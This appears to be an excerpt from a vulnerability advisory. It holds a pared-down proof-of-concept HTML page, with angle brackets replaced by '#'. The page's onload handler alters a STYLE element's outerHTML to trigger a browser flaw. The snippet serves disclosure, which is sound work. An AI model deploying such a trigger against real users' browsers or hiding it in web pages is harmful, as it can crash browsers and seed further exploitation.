The following snippet is a pared-down, harmless proof-of-concept to
illustrate the fundamental elements of the vulnerability.  < and >
have been replaced by # to avoid setting off alarms.

#!DOCTYPE#
#STYLE#* { margin: 0; overflow: scroll }#/STYLE#
#BODY ONLOAD="document.getElementsByTagName('STYLE')[0].outerHTML++"#